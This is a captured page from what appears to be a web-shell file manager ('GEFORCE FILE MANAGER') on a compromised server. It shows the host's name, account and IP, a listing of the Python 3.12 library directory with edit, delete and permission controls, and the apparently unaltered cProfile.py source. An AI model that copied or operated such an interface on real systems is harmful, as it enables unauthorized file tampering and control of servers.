[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib64
/
python3.12
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 __pycache__
SET
[ DEL ]
📁 asyncio
SET
[ DEL ]
📁 collections
SET
[ DEL ]
📁 concurrent
SET
[ DEL ]
📁 config-3.12-x86_64-linux-gnu
SET
[ DEL ]
📁 ctypes
SET
[ DEL ]
📁 curses
SET
[ DEL ]
📁 dbm
SET
[ DEL ]
📁 email
SET
[ DEL ]
📁 encodings
SET
[ DEL ]
📁 ensurepip
SET
[ DEL ]
📁 html
SET
[ DEL ]
📁 http
SET
[ DEL ]
📁 importlib
SET
[ DEL ]
📁 json
SET
[ DEL ]
📁 lib-dynload
SET
[ DEL ]
📁 lib2to3
SET
[ DEL ]
📁 logging
SET
[ DEL ]
📁 multiprocessing
SET
[ DEL ]
📁 pydoc_data
SET
[ DEL ]
📁 re
SET
[ DEL ]
📁 site-packages
SET
[ DEL ]
📁 sqlite3
SET
[ DEL ]
📁 tomllib
SET
[ DEL ]
📁 unittest
SET
[ DEL ]
📁 urllib
SET
[ DEL ]
📁 venv
SET
[ DEL ]
📁 wsgiref
SET
[ DEL ]
📁 xml
SET
[ DEL ]
📁 xmlrpc
SET
[ DEL ]
📁 zipfile
SET
[ DEL ]
📁 zoneinfo
SET
[ DEL ]
📄 LICENSE.txt
13,936 B
SET
[ EDIT ]
|
[ DEL ]
📄 __future__.py
5,218 B
SET
[ EDIT ]
|
[ DEL ]
📄 __hello__.py
227 B
SET
[ EDIT ]
|
[ DEL ]
📄 _aix_support.py
4,021 B
SET
[ EDIT ]
|
[ DEL ]
📄 _collections_abc.py
32,089 B
SET
[ EDIT ]
|
[ DEL ]
📄 _compat_pickle.py
8,761 B
SET
[ EDIT ]
|
[ DEL ]
📄 _compression.py
5,681 B
SET
[ EDIT ]
|
[ DEL ]
📄 _markupbase.py
14,653 B
SET
[ EDIT ]
|
[ DEL ]
📄 _osx_support.py
22,023 B
SET
[ EDIT ]
|
[ DEL ]
📄 _py_abc.py
6,189 B
SET
[ EDIT ]
|
[ DEL ]
📄 _pydatetime.py
92,087 B
SET
[ EDIT ]
|
[ DEL ]
📄 _pydecimal.py
227,283 B
SET
[ EDIT ]
|
[ DEL ]
📄 _pyio.py
93,593 B
SET
[ EDIT ]
|
[ DEL ]
📄 _pylong.py
10,790 B
SET
[ EDIT ]
|
[ DEL ]
📄 _sitebuiltins.py
3,128 B
SET
[ EDIT ]
|
[ DEL ]
📄 _strptime.py
28,393 B
SET
[ EDIT ]
|
[ DEL ]
📄 _sysconfigdata__linux_x86_64-linux-gnu.py
72,132 B
SET
[ EDIT ]
|
[ DEL ]
📄 _threading_local.py
7,220 B
SET
[ EDIT ]
|
[ DEL ]
📄 _weakrefset.py
5,893 B
SET
[ EDIT ]
|
[ DEL ]
📄 abc.py
6,538 B
SET
[ EDIT ]
|
[ DEL ]
📄 aifc.py
34,211 B
SET
[ EDIT ]
|
[ DEL ]
📄 antigravity.py
500 B
SET
[ EDIT ]
|
[ DEL ]
📄 argparse.py
101,155 B
SET
[ EDIT ]
|
[ DEL ]
📄 ast.py
64,452 B
SET
[ EDIT ]
|
[ DEL ]
📄 base64.py
20,634 B
SET
[ EDIT ]
|
[ DEL ]
📄 bdb.py
33,573 B
SET
[ EDIT ]
|
[ DEL ]
📄 bisect.py
3,423 B
SET
[ EDIT ]
|
[ DEL ]
📄 bz2.py
11,847 B
SET
[ EDIT ]
|
[ DEL ]
📄 cProfile.py
6,555 B
SET
[ EDIT ]
|
[ DEL ]
📄 calendar.py
25,864 B
SET
[ EDIT ]
|
[ DEL ]
📄 cgi.py
34,418 B
SET
[ EDIT ]
|
[ DEL ]
📄 cgitb.py
12,421 B
SET
[ EDIT ]
|
[ DEL ]
📄 chunk.py
5,500 B
SET
[ EDIT ]
|
[ DEL ]
📄 cmd.py
14,873 B
SET
[ EDIT ]
|
[ DEL ]
📄 code.py
10,962 B
SET
[ EDIT ]
|
[ DEL ]
📄 codecs.py
36,870 B
SET
[ EDIT ]
|
[ DEL ]
📄 codeop.py
5,908 B
SET
[ EDIT ]
|
[ DEL ]
📄 colorsys.py
4,062 B
SET
[ EDIT ]
|
[ DEL ]
📄 compileall.py
20,507 B
SET
[ EDIT ]
|
[ DEL ]
📄 configparser.py
53,789 B
SET
[ EDIT ]
|
[ DEL ]
📄 contextlib.py
27,637 B
SET
[ EDIT ]
|
[ DEL ]
📄 contextvars.py
129 B
SET
[ EDIT ]
|
[ DEL ]
📄 copy.py
8,412 B
SET
[ EDIT ]
|
[ DEL ]
📄 copyreg.py
7,614 B
SET
[ EDIT ]
|
[ DEL ]
📄 crypt.py
3,913 B
SET
[ EDIT ]
|
[ DEL ]
📄 csv.py
16,386 B
SET
[ EDIT ]
|
[ DEL ]
📄 dataclasses.py
62,085 B
SET
[ EDIT ]
|
[ DEL ]
📄 datetime.py
268 B
SET
[ EDIT ]
|
[ DEL ]
📄 decimal.py
2,805 B
SET
[ EDIT ]
|
[ DEL ]
📄 difflib.py
83,368 B
SET
[ EDIT ]
|
[ DEL ]
📄 dis.py
30,227 B
SET
[ EDIT ]
|
[ DEL ]
📄 doctest.py
106,749 B
SET
[ EDIT ]
|
[ DEL ]
📄 enum.py
81,540 B
SET
[ EDIT ]
|
[ DEL ]
📄 filecmp.py
10,381 B
SET
[ EDIT ]
|
[ DEL ]
📄 fileinput.py
15,714 B
SET
[ EDIT ]
|
[ DEL ]
📄 fnmatch.py
5,999 B
SET
[ EDIT ]
|
[ DEL ]
📄 fractions.py
38,147 B
SET
[ EDIT ]
|
[ DEL ]
📄 ftplib.py
34,735 B
SET
[ EDIT ]
|
[ DEL ]
📄 functools.py
37,940 B
SET
[ EDIT ]
|
[ DEL ]
📄 genericpath.py
5,572 B
SET
[ EDIT ]
|
[ DEL ]
📄 getopt.py
7,488 B
SET
[ EDIT ]
|
[ DEL ]
📄 getpass.py
5,990 B
SET
[ EDIT ]
|
[ DEL ]
📄 gettext.py
21,320 B
SET
[ EDIT ]
|
[ DEL ]
📄 glob.py
8,732 B
SET
[ EDIT ]
|
[ DEL ]
📄 graphlib.py
9,648 B
SET
[ EDIT ]
|
[ DEL ]
📄 gzip.py
25,402 B
SET
[ EDIT ]
|
[ DEL ]
📄 hashlib.py
9,683 B
SET
[ EDIT ]
|
[ DEL ]
📄 heapq.py
23,024 B
SET
[ EDIT ]
|
[ DEL ]
📄 hmac.py
8,043 B
SET
[ EDIT ]
|
[ DEL ]
📄 imaplib.py
54,209 B
SET
[ EDIT ]
|
[ DEL ]
📄 imghdr.py
4,398 B
SET
[ EDIT ]
|
[ DEL ]
📄 inspect.py
127,125 B
SET
[ EDIT ]
|
[ DEL ]
📄 io.py
3,582 B
SET
[ EDIT ]
|
[ DEL ]
📄 ipaddress.py
81,414 B
SET
[ EDIT ]
|
[ DEL ]
📄 keyword.py
1,073 B
SET
[ EDIT ]
|
[ DEL ]
📄 linecache.py
5,800 B
SET
[ EDIT ]
|
[ DEL ]
📄 locale.py
78,599 B
SET
[ EDIT ]
|
[ DEL ]
📄 lzma.py
13,277 B
SET
[ EDIT ]
|
[ DEL ]
📄 mailbox.py
78,911 B
SET
[ EDIT ]
|
[ DEL ]
📄 mailcap.py
9,333 B
SET
[ EDIT ]
|
[ DEL ]
📄 mimetypes.py
23,037 B
SET
[ EDIT ]
|
[ DEL ]
📄 modulefinder.py
23,699 B
SET
[ EDIT ]
|
[ DEL ]
📄 netrc.py
6,922 B
SET
[ EDIT ]
|
[ DEL ]
📄 nntplib.py
41,087 B
SET
[ EDIT ]
|
[ DEL ]
📄 ntpath.py
32,324 B
SET
[ EDIT ]
|
[ DEL ]
📄 nturl2path.py
2,374 B
SET
[ EDIT ]
|
[ DEL ]
📄 numbers.py
11,467 B
SET
[ EDIT ]
|
[ DEL ]
📄 opcode.py
13,174 B
SET
[ EDIT ]
|
[ DEL ]
📄 operator.py
10,965 B
SET
[ EDIT ]
|
[ DEL ]
📄 optparse.py
60,369 B
SET
[ EDIT ]
|
[ DEL ]
📄 os.py
40,821 B
SET
[ EDIT ]
|
[ DEL ]
📄 pathlib.py
51,052 B
SET
[ EDIT ]
|
[ DEL ]
📄 pdb.py
70,297 B
SET
[ EDIT ]
|
[ DEL ]
📄 pickle.py
66,911 B
SET
[ EDIT ]
|
[ DEL ]
📄 pickletools.py
94,052 B
SET
[ EDIT ]
|
[ DEL ]
📄 pipes.py
8,978 B
SET
[ EDIT ]
|
[ DEL ]
📄 pkgutil.py
18,281 B
SET
[ EDIT ]
|
[ DEL ]
📄 platform.py
43,388 B
SET
[ EDIT ]
|
[ DEL ]
📄 plistlib.py
28,342 B
SET
[ EDIT ]
|
[ DEL ]
📄 poplib.py
14,742 B
SET
[ EDIT ]
|
[ DEL ]
📄 posixpath.py
17,483 B
SET
[ EDIT ]
|
[ DEL ]
📄 pprint.py
24,158 B
SET
[ EDIT ]
|
[ DEL ]
📄 profile.py
23,092 B
SET
[ EDIT ]
|
[ DEL ]
📄 pstats.py
29,289 B
SET
[ EDIT ]
|
[ DEL ]
📄 pty.py
6,137 B
SET
[ EDIT ]
|
[ DEL ]
📄 py_compile.py
7,837 B
SET
[ EDIT ]
|
[ DEL ]
📄 pyclbr.py
11,396 B
SET
[ EDIT ]
|
[ DEL ]
📄 pydoc.py
113,508 B
SET
[ EDIT ]
|
[ DEL ]
📄 queue.py
11,496 B
SET
[ EDIT ]
|
[ DEL ]
📄 quopri.py
7,183 B
SET
[ EDIT ]
|
[ DEL ]
📄 random.py
34,689 B
SET
[ EDIT ]
|
[ DEL ]
📄 reprlib.py
7,148 B
SET
[ EDIT ]
|
[ DEL ]
📄 rlcompleter.py
7,827 B
SET
[ EDIT ]
|
[ DEL ]
📄 runpy.py
12,885 B
SET
[ EDIT ]
|
[ DEL ]
📄 sched.py
6,351 B
SET
[ EDIT ]
|
[ DEL ]
📄 secrets.py
1,984 B
SET
[ EDIT ]
|
[ DEL ]
📄 selectors.py
19,671 B
SET
[ EDIT ]
|
[ DEL ]
📄 shelve.py
8,560 B
SET
[ EDIT ]
|
[ DEL ]
📄 shlex.py
13,353 B
SET
[ EDIT ]
|
[ DEL ]
📄 shutil.py
56,762 B
SET
[ EDIT ]
|
[ DEL ]
📄 signal.py
2,495 B
SET
[ EDIT ]
|
[ DEL ]
📄 site.py
23,439 B
SET
[ EDIT ]
|
[ DEL ]
📄 smtplib.py
43,531 B
SET
[ EDIT ]
|
[ DEL ]
📄 sndhdr.py
7,448 B
SET
[ EDIT ]
|
[ DEL ]
📄 socket.py
37,815 B
SET
[ EDIT ]
|
[ DEL ]
📄 socketserver.py
28,065 B
SET
[ EDIT ]
|
[ DEL ]
📄 sre_compile.py
231 B
SET
[ EDIT ]
|
[ DEL ]
📄 sre_constants.py
232 B
SET
[ EDIT ]
|
[ DEL ]
📄 sre_parse.py
229 B
SET
[ EDIT ]
|
[ DEL ]
📄 ssl.py
50,904 B
SET
[ EDIT ]
|
[ DEL ]
📄 stat.py
5,485 B
SET
[ EDIT ]
|
[ DEL ]
📄 statistics.py
50,227 B
SET
[ EDIT ]
|
[ DEL ]
📄 string.py
11,786 B
SET
[ EDIT ]
|
[ DEL ]
📄 stringprep.py
12,917 B
SET
[ EDIT ]
|
[ DEL ]
📄 struct.py
257 B
SET
[ EDIT ]
|
[ DEL ]
📄 subprocess.py
88,747 B
SET
[ EDIT ]
|
[ DEL ]
📄 sunau.py
18,478 B
SET
[ EDIT ]
|
[ DEL ]
📄 symtable.py
12,477 B
SET
[ EDIT ]
|
[ DEL ]
📄 sysconfig.py
33,773 B
SET
[ EDIT ]
|
[ DEL ]
📄 tabnanny.py
11,531 B
SET
[ EDIT ]
|
[ DEL ]
📄 tarfile.py
114,250 B
SET
[ EDIT ]
|
[ DEL ]
📄 telnetlib.py
23,334 B
SET
[ EDIT ]
|
[ DEL ]
📄 tempfile.py
32,386 B
SET
[ EDIT ]
|
[ DEL ]
📄 textwrap.py
19,718 B
SET
[ EDIT ]
|
[ DEL ]
📄 this.py
1,003 B
SET
[ EDIT ]
|
[ DEL ]
📄 threading.py
59,742 B
SET
[ EDIT ]
|
[ DEL ]
📄 timeit.py
13,463 B
SET
[ EDIT ]
|
[ DEL ]
📄 token.py
2,511 B
SET
[ EDIT ]
|
[ DEL ]
📄 tokenize.py
21,570 B
SET
[ EDIT ]
|
[ DEL ]
📄 trace.py
29,352 B
SET
[ EDIT ]
|
[ DEL ]
📄 traceback.py
46,393 B
SET
[ EDIT ]
|
[ DEL ]
📄 tracemalloc.py
18,047 B
SET
[ EDIT ]
|
[ DEL ]
📄 tty.py
2,035 B
SET
[ EDIT ]
|
[ DEL ]
📄 types.py
10,993 B
SET
[ EDIT ]
|
[ DEL ]
📄 typing.py
118,836 B
SET
[ EDIT ]
|
[ DEL ]
📄 uu.py
7,341 B
SET
[ EDIT ]
|
[ DEL ]
📄 uuid.py
29,656 B
SET
[ EDIT ]
|
[ DEL ]
📄 warnings.py
21,909 B
SET
[ EDIT ]
|
[ DEL ]
📄 wave.py
22,769 B
SET
[ EDIT ]
|
[ DEL ]
📄 weakref.py
21,513 B
SET
[ EDIT ]
|
[ DEL ]
📄 webbrowser.py
24,141 B
SET
[ EDIT ]
|
[ DEL ]
📄 xdrlib.py
5,942 B
SET
[ EDIT ]
|
[ DEL ]
📄 zipapp.py
7,543 B
SET
[ EDIT ]
|
[ DEL ]
📄 zipimport.py
27,840 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: cProfile.py
#! /usr/bin/python3.12 """Python interface for the 'lsprof' profiler. Compatible with the 'profile' module. """ __all__ = ["run", "runctx", "Profile"] import _lsprof import importlib.machinery import io import profile as _pyprofile # ____________________________________________________________ # Simple interface def run(statement, filename=None, sort=-1): return _pyprofile._Utils(Profile).run(statement, filename, sort) def runctx(statement, globals, locals, filename=None, sort=-1): return _pyprofile._Utils(Profile).runctx(statement, globals, locals, filename, sort) run.__doc__ = _pyprofile.run.__doc__ runctx.__doc__ = _pyprofile.runctx.__doc__ # ____________________________________________________________ class Profile(_lsprof.Profiler): """Profile(timer=None, timeunit=None, subcalls=True, builtins=True) Builds a profiler object using the specified timer function. The default timer is a fast built-in one based on real time. For custom timer functions returning integers, timeunit can be a float specifying a scale (i.e. how long each integer unit is, in seconds). """ # Most of the functionality is in the base class. # This subclass only adds convenient and backward-compatible methods. def print_stats(self, sort=-1): import pstats pstats.Stats(self).strip_dirs().sort_stats(sort).print_stats() def dump_stats(self, file): import marshal with open(file, 'wb') as f: self.create_stats() marshal.dump(self.stats, f) def create_stats(self): self.disable() self.snapshot_stats() def snapshot_stats(self): entries = self.getstats() self.stats = {} callersdicts = {} # call information for entry in entries: func = label(entry.code) nc = entry.callcount # ncalls column of pstats (before '/') cc = nc - entry.reccallcount # ncalls column of pstats (after '/') tt = entry.inlinetime # tottime column of pstats ct = entry.totaltime # cumtime column of pstats callers = {} callersdicts[id(entry.code)] = callers self.stats[func] = cc, nc, tt, ct, callers # subcall information for entry in entries: if entry.calls: func = label(entry.code) for subentry in entry.calls: try: callers = callersdicts[id(subentry.code)] except KeyError: continue nc = subentry.callcount cc = nc - subentry.reccallcount tt = subentry.inlinetime ct = subentry.totaltime if func in callers: prev = callers[func] nc += prev[0] cc += prev[1] tt += prev[2] ct += prev[3] callers[func] = nc, cc, tt, ct # The following two methods can be called by clients to use # a profiler to profile a statement, given as a string. def run(self, cmd): import __main__ dict = __main__.__dict__ return self.runctx(cmd, dict, dict) def runctx(self, cmd, globals, locals): self.enable() try: exec(cmd, globals, locals) finally: self.disable() return self # This method is more useful to profile a single function call. def runcall(self, func, /, *args, **kw): self.enable() try: return func(*args, **kw) finally: self.disable() def __enter__(self): self.enable() return self def __exit__(self, *exc_info): self.disable() # ____________________________________________________________ def label(code): if isinstance(code, str): return ('~', 0, code) # built-in functions ('~' sorts at the end) else: return (code.co_filename, code.co_firstlineno, code.co_name) # ____________________________________________________________ def main(): import os import sys import runpy import pstats from optparse import OptionParser usage = "cProfile.py [-o output_file_path] [-s sort] [-m module | scriptfile] [arg] ..." parser = OptionParser(usage=usage) parser.allow_interspersed_args = False parser.add_option('-o', '--outfile', dest="outfile", help="Save stats to <outfile>", default=None) parser.add_option('-s', '--sort', dest="sort", help="Sort order when printing to stdout, based on pstats.Stats class", default=2, choices=sorted(pstats.Stats.sort_arg_dict_default)) parser.add_option('-m', dest="module", action="store_true", help="Profile a library module", default=False) if not sys.argv[1:]: parser.print_usage() sys.exit(2) (options, args) = parser.parse_args() sys.argv[:] = args # The script that we're profiling may chdir, so capture the absolute path # to the output file at startup. if options.outfile is not None: options.outfile = os.path.abspath(options.outfile) if len(args) > 0: if options.module: code = "run_module(modname, run_name='__main__')" globs = { 'run_module': runpy.run_module, 'modname': args[0] } else: progname = args[0] sys.path.insert(0, os.path.dirname(progname)) with io.open_code(progname) as fp: code = compile(fp.read(), progname, 'exec') spec = importlib.machinery.ModuleSpec(name='__main__', loader=None, origin=progname) globs = { '__spec__': spec, '__file__': spec.origin, '__name__': spec.name, '__package__': None, '__cached__': None, } try: runctx(code, globs, None, options.outfile, options.sort) except BrokenPipeError as exc: # Prevent "Exception ignored" during interpreter shutdown. sys.stdout = None sys.exit(exc.errno) else: parser.print_usage() return parser # When invoked as main program, invoke the profiler on a script if __name__ == '__main__': main()